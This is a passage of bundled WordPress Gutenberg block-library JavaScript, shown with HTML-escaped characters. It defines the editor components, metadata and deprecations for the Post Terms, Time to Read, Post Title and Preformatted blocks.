            postTerms: EMPTY_ARRAY3,
            isLoading: false,
            hasPostTerms: false
          };
        }
        const { getEntityRecords, isResolving } = select9(import_core_data64.store);
        const taxonomyArgs = [
          &quot;taxonomy&quot;,
          slug,
          {
            post: postId,
            per_page: -1,
            context: &quot;view&quot;
          }
        ];
        const terms = getEntityRecords(...taxonomyArgs);
        return {
          postTerms: terms,
          isLoading: isResolving(&quot;getEntityRecords&quot;, taxonomyArgs),
          hasPostTerms: !!terms?.length
        };
      },
      [postId, term?.visibility?.publicly_queryable, slug]
    );
  }

  // packages/block-library/build-module/post-terms/edit.mjs
  var import_jsx_runtime374 = __toESM(require_jsx_runtime(), 1);
  var ALLOWED_FORMATS = [
    &quot;core/bold&quot;,
    &quot;core/image&quot;,
    &quot;core/italic&quot;,
    &quot;core/link&quot;,
    &quot;core/strikethrough&quot;,
    &quot;core/text-color&quot;
  ];
  function PostTermsEdit({
    attributes: attributes2,
    clientId,
    context,
    isSelected,
    setAttributes,
    insertBlocksAfter
  }) {
    const { term, separator, prefix, suffix } = attributes2;
    const { postId, postType } = context;
    const selectedTerm = (0, import_data110.useSelect)(
      (select9) =&gt; {
        if (!term) {
          return {};
        }
        const { getTaxonomy } = select9(import_core_data65.store);
        const taxonomy = getTaxonomy(term);
        return taxonomy?.visibility?.publicly_queryable ? taxonomy : {};
      },
      [term]
    );
    const { postTerms, hasPostTerms, isLoading } = usePostTerms({
      postId,
      term: selectedTerm
    });
    const hasPost = postId &amp;&amp; postType;
    const blockInformation = (0, import_block_editor198.useBlockDisplayInformation)(clientId);
    const blockProps = (0, import_block_editor198.useBlockProps)({
      className: term &amp;&amp; `taxonomy-${term}`
    });
    return /* @__PURE__ */ (0, import_jsx_runtime374.jsxs)(import_jsx_runtime374.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime374.jsx)(import_block_editor198.InspectorControls, { group: &quot;advanced&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime374.jsx)(
        import_components115.TextControl,
        {
          __next40pxDefaultSize: true,
          autoComplete: &quot;off&quot;,
          label: (0, import_i18n177.__)(&quot;Separator&quot;),
          value: separator || &quot;&quot;,
          onChange: (nextValue) =&gt; {
            setAttributes({ separator: nextValue });
          },
          help: (0, import_i18n177.__)(&quot;Enter character(s) used to separate terms.&quot;)
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime374.jsxs)(&quot;div&quot;, { ...blockProps, children: [
        isLoading &amp;&amp; hasPost &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime374.jsx)(import_components115.Spinner, {}),
        !isLoading &amp;&amp; (isSelected || prefix) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime374.jsx)(
          import_block_editor198.RichText,
          {
            identifier: &quot;prefix&quot;,
            allowedFormats: ALLOWED_FORMATS,
            className: &quot;wp-block-post-terms__prefix&quot;,
            &quot;aria-label&quot;: (0, import_i18n177.__)(&quot;Prefix&quot;),
            placeholder: (0, import_i18n177.__)(&quot;Prefix&quot;) + &quot; &quot;,
            value: prefix,
            onChange: (value) =&gt; setAttributes({ prefix: value }),
            tagName: &quot;span&quot;
          }
        ),
        (!hasPost || !term) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime374.jsx)(&quot;span&quot;, { children: blockInformation.title }),
        hasPost &amp;&amp; !isLoading &amp;&amp; hasPostTerms &amp;&amp; postTerms.map((postTerm) =&gt; /* @__PURE__ */ (0, import_jsx_runtime374.jsx)(
          &quot;a&quot;,
          {
            href: postTerm.link,
            onClick: (event) =&gt; event.preventDefault(),
            rel: &quot;tag&quot;,
            children: (0, import_html_entities9.decodeEntities)(postTerm.name)
          },
          postTerm.id
        )).reduce((prev, curr) =&gt; /* @__PURE__ */ (0, import_jsx_runtime374.jsxs)(import_jsx_runtime374.Fragment, { children: [
          prev,
          /* @__PURE__ */ (0, import_jsx_runtime374.jsx)(&quot;span&quot;, { className: &quot;wp-block-post-terms__separator&quot;, children: separator || &quot; &quot; }),
          curr
        ] })),
        hasPost &amp;&amp; !isLoading &amp;&amp; !hasPostTerms &amp;&amp; (selectedTerm?.labels?.no_terms || (0, import_i18n177.__)(&quot;Term items not found.&quot;)),
        !isLoading &amp;&amp; (isSelected || suffix) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime374.jsx)(
          import_block_editor198.RichText,
          {
            identifier: &quot;suffix&quot;,
            allowedFormats: ALLOWED_FORMATS,
            className: &quot;wp-block-post-terms__suffix&quot;,
            &quot;aria-label&quot;: (0, import_i18n177.__)(&quot;Suffix&quot;),
            placeholder: &quot; &quot; + (0, import_i18n177.__)(&quot;Suffix&quot;),
            value: suffix,
            onChange: (value) =&gt; setAttributes({ suffix: value }),
            tagName: &quot;span&quot;,
            __unstableOnSplitAtEnd: () =&gt; insertBlocksAfter(
              (0, import_blocks86.createBlock)((0, import_blocks86.getDefaultBlockName)())
            )
          }
        )
      ] })
    ] });
  }

  // packages/block-library/build-module/post-terms/hooks.mjs
  var variationIconMap = {
    category: post_categories_default,
    post_tag: post_terms_default
  };
  function enhanceVariations(settings122, name123) {
    if (name123 !== &quot;core/post-terms&quot;) {
      return settings122;
    }
    const variations18 = settings122.variations.map((variation) =&gt; ({
      ...variation,
      ...{
        icon: variationIconMap[variation.name] ?? post_categories_default
      }
    }));
    return {
      ...settings122,
      variations: variations18
    };
  }

  // packages/block-library/build-module/post-terms/deprecated.mjs
  var v131 = {
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      },
      term: {
        type: &quot;string&quot;
      },
      separator: {
        type: &quot;string&quot;,
        default: &quot;, &quot;
      },
      prefix: {
        type: &quot;string&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      suffix: {
        type: &quot;string&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      }
    },
    supports: {
      anchor: true,
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () =&gt; null
  };
  var deprecated_default36 = [v131];

  // packages/block-library/build-module/post-terms/index.mjs
  var { name: name79 } = block_default78;
  var settings78 = {
    icon: post_categories_default,
    edit: PostTermsEdit,
    deprecated: deprecated_default36
  };
  var init78 = () =&gt; {
    (0, import_hooks57.addFilter)(
      &quot;blocks.registerBlockType&quot;,
      &quot;core/template-part&quot;,
      enhanceVariations
    );
    return initBlock({ name: name79, metadata: block_default78, settings: settings78 });
  };

  // packages/block-library/build-module/post-time-to-read/index.mjs
  var post_time_to_read_exports = {};
  __export(post_time_to_read_exports, {
    init: () =&gt; init79,
    metadata: () =&gt; block_default79,
    name: () =&gt; name80,
    settings: () =&gt; settings79
  });

  // packages/block-library/build-module/post-time-to-read/block.json
  var block_default79 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/post-time-to-read&quot;,
    title: &quot;Time to Read&quot;,
    category: &quot;theme&quot;,
    description: &quot;Show minutes required to finish reading the post. Can also show a word count.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [&quot;postId&quot;, &quot;postType&quot;],
    attributes: {
      displayAsRange: {
        type: &quot;boolean&quot;,
        default: true
      },
      displayMode: {
        type: &quot;string&quot;,
        default: &quot;time&quot;
      },
      averageReadingSpeed: {
        type: &quot;number&quot;,
        default: 189
      }
    },
    supports: {
      anchor: true,
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      html: false,
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    }
  };

  // packages/block-library/build-module/post-time-to-read/edit.mjs
  var import_i18n178 = __toESM(require_i18n(), 1);
  var import_element100 = __toESM(require_element(), 1);
  var import_block_editor199 = __toESM(require_block_editor(), 1);
  var import_components116 = __toESM(require_components(), 1);
  var import_blocks87 = __toESM(require_blocks(), 1);
  var import_core_data66 = __toESM(require_core_data(), 1);
  var import_wordcount = __toESM(require_wordcount(), 1);
  var import_jsx_runtime375 = __toESM(require_jsx_runtime(), 1);
  function PostTimeToReadEdit({ attributes: attributes2, setAttributes, context }) {
    const { displayAsRange, displayMode, averageReadingSpeed } = attributes2;
    const { postId, postType } = context;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const [contentStructure] = (0, import_core_data66.useEntityProp)(
      &quot;postType&quot;,
      postType,
      &quot;content&quot;,
      postId
    );
    const [blocks] = (0, import_core_data66.useEntityBlockEditor)(&quot;postType&quot;, postType, {
      id: postId
    });
    const displayString = (0, import_element100.useMemo)(() =&gt; {
      let content;
      if (contentStructure instanceof Function) {
        content = contentStructure({ blocks });
      } else if (blocks) {
        content = (0, import_blocks87.__unstableSerializeAndClean)(blocks);
      } else {
        content = contentStructure;
      }
      const wordCountType = (0, import_i18n178._x)(
        &quot;words&quot;,
        &quot;Word count type. Do not translate!&quot;
      );
      const totalWords = (0, import_wordcount.count)(content || &quot;&quot;, wordCountType);
      if (displayMode === &quot;time&quot;) {
        if (displayAsRange) {
          let maxMinutes = Math.max(
            1,
            Math.round(totalWords / averageReadingSpeed * 1.2)
          );
          const minMinutes = Math.max(
            1,
            Math.round(totalWords / averageReadingSpeed * 0.8)
          );
          if (minMinutes === maxMinutes) {
            maxMinutes = maxMinutes + 1;
          }
          const rangeLabel = (0, import_i18n178._x)(
            &quot;%1$s\u2013%2$s minutes&quot;,
            &quot;Range of minutes to read&quot;
          );
          return (0, import_i18n178.sprintf)(rangeLabel, minMinutes, maxMinutes);
        }
        const minutesToRead = Math.max(
          1,
          Math.round(totalWords / averageReadingSpeed)
        );
        return (0, import_i18n178.sprintf)(
          /* translators: %s: the number of minutes to read the post. */
          (0, import_i18n178._n)(&quot;%s minute&quot;, &quot;%s minutes&quot;, minutesToRead),
          minutesToRead
        );
      }
      if (displayMode === &quot;words&quot;) {
        return wordCountType === &quot;words&quot; ? (0, import_i18n178.sprintf)(
          /* translators: %s: the number of words in the post. */
          (0, import_i18n178._n)(&quot;%s word&quot;, &quot;%s words&quot;, totalWords),
          totalWords.toLocaleString()
        ) : (0, import_i18n178.sprintf)(
          /* translators: %s: the number of characters in the post. */
          (0, import_i18n178._n)(&quot;%s character&quot;, &quot;%s characters&quot;, totalWords),
          totalWords.toLocaleString()
        );
      }
    }, [
      contentStructure,
      blocks,
      displayAsRange,
      displayMode,
      averageReadingSpeed
    ]);
    const blockProps = (0, import_block_editor199.useBlockProps)();
    return /* @__PURE__ */ (0, import_jsx_runtime375.jsxs)(import_jsx_runtime375.Fragment, { children: [
      displayMode === &quot;time&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime375.jsx)(import_block_editor199.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime375.jsx)(
        import_components116.__experimentalToolsPanel,
        {
          label: (0, import_i18n178.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              displayAsRange: true
            });
          },
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime375.jsx)(
            import_components116.__experimentalToolsPanelItem,
            {
              isShownByDefault: true,
              label: (0, import_i18n178._x)(
                &quot;Display as range&quot;,
                &quot;Turns reading time range display on or off&quot;
              ),
              hasValue: () =&gt; !displayAsRange,
              onDeselect: () =&gt; {
                setAttributes({
                  displayAsRange: true
                });
              },
              children: /* @__PURE__ */ (0, import_jsx_runtime375.jsx)(
                import_components116.ToggleControl,
                {
                  label: (0, import_i18n178.__)(&quot;Display as range&quot;),
                  checked: !!displayAsRange,
                  onChange: () =&gt; setAttributes({
                    displayAsRange: !displayAsRange
                  })
                }
              )
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime375.jsx)(&quot;div&quot;, { ...blockProps, children: displayString })
    ] });
  }
  var edit_default29 = PostTimeToReadEdit;

  // packages/block-library/build-module/post-time-to-read/variations.mjs
  var import_i18n179 = __toESM(require_i18n(), 1);
  var variations12 = [
    {
      name: &quot;time-to-read&quot;,
      title: (0, import_i18n179.__)(&quot;Time to Read&quot;),
      description: (0, import_i18n179.__)(&quot;Show minutes required to finish reading the post.&quot;),
      attributes: {
        displayMode: &quot;time&quot;
      },
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      isActive: (blockAttributes8) =&gt; blockAttributes8?.displayMode === &quot;time&quot;,
      icon: time_to_read_default,
      isDefault: true
    },
    {
      name: &quot;word-count&quot;,
      title: (0, import_i18n179.__)(&quot;Word Count&quot;),
      description: (0, import_i18n179.__)(&quot;Show the number of words in the post.&quot;),
      attributes: {
        displayMode: &quot;words&quot;
      },
      scope: [&quot;inserter&quot;, &quot;transform&quot;],
      isActive: (blockAttributes8) =&gt; blockAttributes8?.displayMode === &quot;words&quot;,
      icon: word_count_default
    }
  ];
  var variations_default12 = variations12;

  // packages/block-library/build-module/post-time-to-read/deprecated.mjs
  var v133 = {
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      },
      displayAsRange: {
        type: &quot;boolean&quot;,
        default: true
      },
      displayMode: {
        type: &quot;string&quot;,
        default: &quot;time&quot;
      },
      averageReadingSpeed: {
        type: &quot;number&quot;,
        default: 189
      }
    },
    supports: {
      anchor: true,
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      html: false,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () =&gt; null
  };
  var deprecated_default37 = [v133];

  // packages/block-library/build-module/post-time-to-read/index.mjs
  var { name: name80 } = block_default79;
  var settings79 = {
    icon: time_to_read_default,
    edit: edit_default29,
    variations: variations_default12,
    example: {},
    deprecated: deprecated_default37
  };
  var init79 = () =&gt; initBlock({ name: name80, metadata: block_default79, settings: settings79 });

  // packages/block-library/build-module/post-title/index.mjs
  var post_title_exports = {};
  __export(post_title_exports, {
    init: () =&gt; init80,
    metadata: () =&gt; block_default80,
    name: () =&gt; name81,
    settings: () =&gt; settings80
  });

  // packages/block-library/build-module/post-title/block.json
  var block_default80 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/post-title&quot;,
    title: &quot;Title&quot;,
    category: &quot;theme&quot;,
    description: &quot;Displays the title of a post, page, or any other content-type.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [&quot;postId&quot;, &quot;postType&quot;, &quot;queryId&quot;],
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      },
      level: {
        type: &quot;number&quot;,
        default: 2
      },
      levelOptions: {
        type: &quot;array&quot;
      },
      isLink: {
        type: &quot;boolean&quot;,
        default: false,
        role: &quot;content&quot;
      },
      rel: {
        type: &quot;string&quot;,
        attribute: &quot;rel&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        default: &quot;_self&quot;,
        role: &quot;content&quot;
      }
    },
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: &quot;wp-block-post-title&quot;
  };

  // packages/block-library/build-module/post-title/edit.mjs
  var import_block_editor200 = __toESM(require_block_editor(), 1);
  var import_components117 = __toESM(require_components(), 1);
  var import_i18n180 = __toESM(require_i18n(), 1);
  var import_blocks88 = __toESM(require_blocks(), 1);
  var import_core_data67 = __toESM(require_core_data(), 1);
  var import_data111 = __toESM(require_data(), 1);
  var import_element101 = __toESM(require_element(), 1);
  var import_jsx_runtime376 = __toESM(require_jsx_runtime(), 1);
  function PostTitleEdit({
    attributes: { level, levelOptions, textAlign, isLink, rel, linkTarget },
    setAttributes,
    context: { postType, postId, queryId },
    insertBlocksAfter
  }) {
    const TagName2 = level === 0 ? &quot;p&quot; : `h${level}`;
    const isDescendentOfQueryLoop = Number.isFinite(queryId);
    const userCanEdit = (0, import_data111.useSelect)(
      (select9) =&gt; {
        if (isDescendentOfQueryLoop) {
          return false;
        }
        return select9(import_core_data67.store).canUser(&quot;update&quot;, {
          kind: &quot;postType&quot;,
          name: postType,
          id: postId
        });
      },
      [isDescendentOfQueryLoop, postType, postId]
    );
    const [rawTitle = &quot;&quot;, setTitle, fullTitle] = (0, import_core_data67.useEntityProp)(
      &quot;postType&quot;,
      postType,
      &quot;title&quot;,
      postId
    );
    const [link] = (0, import_core_data67.useEntityProp)(&quot;postType&quot;, postType, &quot;link&quot;, postId);
    const onSplitAtEnd = () =&gt; {
      insertBlocksAfter((0, import_blocks88.createBlock)((0, import_blocks88.getDefaultBlockName)()));
    };
    const blockProps = (0, import_block_editor200.useBlockProps)({
      className: clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      })
    });
    const blockEditingMode = (0, import_block_editor200.useBlockEditingMode)();
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    let titleElement = /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(TagName2, { ...blockProps, children: (0, import_i18n180.__)(&quot;Title&quot;) });
    if (postType &amp;&amp; postId) {
      titleElement = userCanEdit ? /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
        import_block_editor200.PlainText,
        {
          tagName: TagName2,
          placeholder: (0, import_i18n180.__)(&quot;(no title)&quot;),
          value: rawTitle,
          onChange: setTitle,
          __experimentalVersion: 2,
          __unstableOnSplitAtEnd: onSplitAtEnd,
          ...blockProps
        }
      ) : /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
        TagName2,
        {
          ...blockProps,
          dangerouslySetInnerHTML: {
            __html: fullTitle?.rendered || (0, import_i18n180.__)(&quot;(no title)&quot;)
          }
        }
      );
    }
    if (isLink &amp;&amp; postType &amp;&amp; postId) {
      titleElement = userCanEdit ? /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
        import_block_editor200.PlainText,
        {
          tagName: &quot;a&quot;,
          href: link,
          target: linkTarget,
          rel,
          placeholder: !rawTitle.length ? (0, import_i18n180.__)(&quot;(no title)&quot;) : null,
          value: rawTitle,
          onChange: setTitle,
          __experimentalVersion: 2,
          __unstableOnSplitAtEnd: onSplitAtEnd
        }
      ) }) : /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
        &quot;a&quot;,
        {
          href: link,
          target: linkTarget,
          rel,
          onClick: (event) =&gt; event.preventDefault(),
          dangerouslySetInnerHTML: {
            __html: fullTitle?.rendered || (0, import_i18n180.__)(&quot;(no title)&quot;)
          }
        }
      ) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime376.jsxs)(import_jsx_runtime376.Fragment, { children: [
      blockEditingMode === &quot;default&quot; &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime376.jsxs)(import_jsx_runtime376.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime376.jsxs)(import_block_editor200.BlockControls, { group: &quot;block&quot;, children: [
          /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
            import_block_editor200.HeadingLevelDropdown,
            {
              value: level,
              options: levelOptions,
              onChange: (newLevel) =&gt; setAttributes({ level: newLevel })
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
            import_block_editor200.AlignmentControl,
            {
              value: textAlign,
              onChange: (nextAlign) =&gt; {
                setAttributes({ textAlign: nextAlign });
              }
            }
          )
        ] }),
        /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(import_block_editor200.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime376.jsxs)(
          import_components117.__experimentalToolsPanel,
          {
            label: (0, import_i18n180.__)(&quot;Settings&quot;),
            resetAll: () =&gt; {
              setAttributes({
                rel: &quot;&quot;,
                linkTarget: &quot;_self&quot;,
                isLink: false
              });
            },
            dropdownMenuProps,
            children: [
              /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
                import_components117.__experimentalToolsPanelItem,
                {
                  label: (0, import_i18n180.__)(&quot;Make title a link&quot;),
                  isShownByDefault: true,
                  hasValue: () =&gt; isLink,
                  onDeselect: () =&gt; setAttributes({ isLink: false }),
                  children: /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
                    import_components117.ToggleControl,
                    {
                      label: (0, import_i18n180.__)(&quot;Make title a link&quot;),
                      onChange: () =&gt; setAttributes({ isLink: !isLink }),
                      checked: isLink
                    }
                  )
                }
              ),
              isLink &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime376.jsxs)(import_jsx_runtime376.Fragment, { children: [
                /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
                  import_components117.__experimentalToolsPanelItem,
                  {
                    label: (0, import_i18n180.__)(&quot;Open in new tab&quot;),
                    isShownByDefault: true,
                    hasValue: () =&gt; linkTarget === &quot;_blank&quot;,
                    onDeselect: () =&gt; setAttributes({
                      linkTarget: &quot;_self&quot;
                    }),
                    children: /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
                      import_components117.ToggleControl,
                      {
                        label: (0, import_i18n180.__)(&quot;Open in new tab&quot;),
                        onChange: (value) =&gt; setAttributes({
                          linkTarget: value ? &quot;_blank&quot; : &quot;_self&quot;
                        }),
                        checked: linkTarget === &quot;_blank&quot;
                      }
                    )
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
                  import_components117.__experimentalToolsPanelItem,
                  {
                    label: (0, import_i18n180.__)(&quot;Link relation&quot;),
                    isShownByDefault: true,
                    hasValue: () =&gt; !!rel,
                    onDeselect: () =&gt; setAttributes({ rel: &quot;&quot; }),
                    children: /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(
                      import_components117.TextControl,
                      {
                        __next40pxDefaultSize: true,
                        label: (0, import_i18n180.__)(&quot;Link relation&quot;),
                        help: (0, import_element101.createInterpolateElement)(
                          (0, import_i18n180.__)(
                            &quot;The &lt;a&gt;Link Relation&lt;/a&gt; attribute defines the relationship between a linked resource and the current document.&quot;
                          ),
                          {
                            a: /* @__PURE__ */ (0, import_jsx_runtime376.jsx)(import_components117.ExternalLink, { href: &quot;https://developer.mozilla.org/docs/Web/HTML/Attributes/rel&quot; })
                          }
                        ),
                        value: rel,
                        onChange: (newRel) =&gt; setAttributes({ rel: newRel })
                      }
                    )
                  }
                )
              ] })
            ]
          }
        ) })
      ] }),
      titleElement
    ] });
  }

  // packages/block-library/build-module/post-title/deprecated.mjs
  var v134 = {
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      },
      level: {
        type: &quot;number&quot;,
        default: 2
      },
      isLink: {
        type: &quot;boolean&quot;,
        default: false
      },
      rel: {
        type: &quot;string&quot;,
        attribute: &quot;rel&quot;,
        default: &quot;&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        default: &quot;_self&quot;
      }
    },
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      html: false,
      color: {
        gradients: true,
        link: true
      },
      spacing: {
        margin: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true
      }
    },
    save() {
      return null;
    },
    migrate: migrate_font_family_default,
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var deprecated_default38 = [v134];

  // packages/block-library/build-module/post-title/index.mjs
  var { name: name81 } = block_default80;
  var settings80 = {
    icon: title_default,
    edit: PostTitleEdit,
    deprecated: deprecated_default38
  };
  var init80 = () =&gt; initBlock({ name: name81, metadata: block_default80, settings: settings80 });

  // packages/block-library/build-module/preformatted/index.mjs
  var preformatted_exports = {};
  __export(preformatted_exports, {
    init: () =&gt; init81,
    metadata: () =&gt; block_default81,
    name: () =&gt; name82,
    settings: () =&gt; settings81
  });
  var import_i18n182 = __toESM(require_i18n(), 1);
  var import_blocks91 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/preformatted/edit.mjs
  var import_i18n181 = __toESM(require_i18n(), 1);
  var import_block_editor201 = __toESM(require_block_editor(), 1);
  var import_blocks89 = __toESM(require_blocks(), 1);
  var import_jsx_runtime377 = __toESM(require_jsx_runtime(), 1);
  function PreformattedEdit({
    attributes: attributes2,
    mergeBlocks,
    setAttributes,
    onRemove,
    insertBlocksAfter,
    style: style2
  }) {
    const { content } = attributes2;
    const blockProps = (0, import_block_editor201.useBlockProps)({ style: style2 });
    return /* @__PURE__ */ (0, import_jsx_runtime377.jsx)(
      import_block_editor201.RichText,
      {
        tagName: &quot;pre&quot;,
        identifier: &quot;content&quot;,
        preserveWhiteSpace: true,
        value: content,
        onChange: (nextContent) =&gt; {
          setAttributes({
            content: nextContent
          });
        },
        onRemove,
        &quot;aria-label&quot;: (0, import_i18n181.__)(&quot;Preformatted text&quot;),
        placeholder: (0, import_i18n181.__)(&quot;Write preformatted text\u2026&quot;),
        onMerge: mergeBlocks,
        ...blockProps,
        __unstablePastePlainText: true,
        __unstableOnSplitAtDoubleLineEnd: () =&gt; insertBlocksAfter((0, import_blocks89.createBlock)((0, import_blocks89.getDefaultBlockName)()))
      }
    );
  }

  // packages/block-library/build-module/preformatted/block.json
  var block_default81 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/preformatted&quot;,
    title: &quot;Preformatted&quot;,
    category: &quot;text&quot;,
    description: &quot;Add text that respects your spacing and tabs, and also allows styling.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      content: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;pre&quot;,
        __unstablePreserveWhiteSpace: true,
        role: &quot;content&quot;
      }
    },
    supports: {
      anchor: true,
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        padding: true,
        margin: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: &quot;wp-block-preformatted&quot;
  };

  // packages/block-library/build-module/preformatted/save.mjs
  var import_block_editor202 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime378 = __toESM(require_jsx_runtime(), 1);
  function save39({ attributes: attributes2 }) {
    const { content } = attributes2;
    return /* @__PURE__ */ (0, import_jsx_runtime378.jsx)(&quot;pre&quot;, { ...import_block_editor202.useBlockProps.save(), children: /* @__PURE__ */ (0, import_jsx_runtime378.jsx)(import_block_editor202.RichText.Content, { value: content }) });
  }

  // packages/block-library/build-module/preformatted/transforms.mjs
  var import_blocks90 = __toESM(require_blocks(), 1);
  var transforms26 = {
    from: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/code&quot;, &quot;core/paragraph&quot;, &quot;core/verse&quot;],
        transform: ({ content, anchor }) =&gt; (0, import_blocks90.createBlock)(&quot;core/preformatted&quot;, {
          content,
          anchor
        })
      },
      {
        type: &quot;raw&quot;,
        isMatch: (node) =&gt; node.nodeName === &quot;PRE&quot; &amp;&amp; !(node.children.length === 1 &amp;&amp; node.firstChild.nodeName === &quot;CODE&quot;),
        schema: ({ phrasingContentSchema }) =&gt; ({
          pre: {
            children: phrasingContentSchema
